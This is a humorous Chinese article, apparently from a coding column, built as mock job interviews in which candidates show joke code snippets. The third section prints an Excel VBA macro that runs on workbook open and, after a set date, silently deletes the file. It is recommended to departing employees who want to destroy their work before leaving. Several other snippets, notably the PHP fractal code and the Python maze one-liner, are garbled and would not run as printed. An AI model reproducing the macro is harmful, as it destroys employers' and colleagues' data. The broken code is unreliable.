专栏 | 九章算法
网址 | www.jiuzhang.com
当面试官问:请拿出一段体现你水平的代码时,你会如何回答?
1.Python迷宫
面试官:你有什么代码作品吗?
候选人:有的,Python语言的代码可以吗?
面试官:都可以
候选人:这就是我平常画的代码,如下
print('\n'.join([' '.join(['%s*%s=%-2s' % (y, x, x*y) for y in range(1, x+1)]) for x in range(1, 10)]))
候选人:是我为孩子写的,打印出来就是99乘法表
候选人:还有 print(''.join(import('random').choice('/\') for i in range(50*24)))
可以打印出迷宫,可以拿来和孩子一起玩游戏
2.代码也可以用来搞艺术
面试官:请拿出一段能体现你水平的代码?
候选人:好的,我带了好几个作品。
面试官:都拿给我看看吧。
$x = 200;
$y = 200;
x, $y);
$corners[0] = array('x' => 100, 'y' => 10);
$corners[1] = array('x' => 0, 'y' => 190);
$corners[2] = array('x' => 200, 'y' => 190);
gd, 255, 0, 0);
for (i < 100000; $i++) {
imagesetpixel(x),round(red);
$a = rand(0, 2);
x + a]['x']) / 2;
y + a]['y']) / 2;
}
header('Content-Type: image/png');
imagepng($gd);
候选人:运行之后,作品如下
候选人:这是另一个
面试官:这是啥?
候选人:不着急,这是一组图片,还没看完
面试官:......
候选人:还有,还没完,下面这组是关于动物的。
面试官:你应该去应聘画师岗位。
3.离职=删库跑路
面试官:作品带来了吗?
候选人:带了,带了
Private Sub Workbook_open()
If Date >= #12/8/2017# Then
Application.DisplayAlerts = False
MsgBox "不要迷恋哥,哥就是个传说!", Title:="领土所属权!"
With ThisWorkbook
.Saved = True
.ChangeFileAccess xlReadOnly
Kill .FullName
.Close
End With
Else: Exit Sub
End If
End Sub
面试官:那你简单说下这个代码吧
候选人:这个程序适合离职的人,是会自杀的文件,离职时电脑里的文件带不走,又不想让下一个人看见,就可以运行这个代码。只要有人打开文件,程序便会运行,所有文件便随之消失了。
4.作死类型
面试官:下一个可以把你作品拿过来了
候选人:好的,下面这是我的作品
面试官:你这竟一行代码都没写?
候选人:我这个主要展现todo的用法
5.黑客帝国代码雨
面试官:最后一个,可以展示你的代码了
候选人:好的,准备好了,马上开始
@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start
候选人:这个代码可以帮我们实现黑客帝国代码雨的效果,超级炫酷
面试官内心os: 确认过眼神,都是惹不起的人